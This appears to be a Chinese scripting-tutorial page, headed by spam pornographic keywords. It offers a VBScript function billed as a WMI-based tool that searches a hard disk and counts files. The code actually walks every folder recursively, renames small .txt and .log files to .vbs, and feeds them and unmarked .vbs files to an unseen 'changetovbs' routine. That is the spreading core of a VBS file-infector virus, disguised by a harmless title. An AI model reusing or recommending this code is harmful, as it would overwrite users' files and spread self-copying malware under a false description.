欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

VBS調(diào)用WMI遍歷搜索硬盤文件并計(jì)數(shù)的方法

 更新時(shí)間:2016年10月11日 23:20:48   投稿:mdxy-dxy  
這篇文章主要介紹了VBS調(diào)用WMI遍歷搜索硬盤文件并計(jì)數(shù)的方法,需要的朋友可以參考下

多年之前寫的一個(gè)VBS調(diào)用WMI來(lái)遍歷搜索硬盤文件,并計(jì)數(shù)的函數(shù),今天整理網(wǎng)盤,看到了,發(fā)上來(lái)

核心代碼:

Function wmisfile(path_sf,justcnt)
  'On Error Resume Next
  StrComputer = "."
  Set ObjWMIService = GetObject("winmgmts:\\" & StrComputer & "\root\cimv2")
  Set FileList = objWMIService.ExecQuery _
  ("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _
   & "ResultClass = CIM_DataFile")
  For Each objFile In FileList
    fname = LCase(objfile.name)
    ename = LCase(objfile.extension)
    If 1 < objfile.filesize And objfile.filesize <= 50000 Then
      Select Case ename
        Case "txt","log"
        path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"
        objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs")
        Call changetovbs(path_vbs,path_vbs)
        justcnt = justcnt + 1
        Case "vbs"
        If checkversion(fname) = False Then
          Call changetovbs(fname,fname)
          justcnt = justcnt + 1
        End If
      End Select
    End If
  Next
  Set colSubfolders = objWMIService.ExecQuery _
  ("Associators of {Win32_Directory.Name='" & path_sf & "'} " _
   & "Where AssocClass = Win32_Subdirectory " _
   & "ResultRole = PartComponent")
  For Each objFolder In colSubfolders
    wmisfile objfolder.name,justcnt
  Next
End Function

相關(guān)文章

最新評(píng)論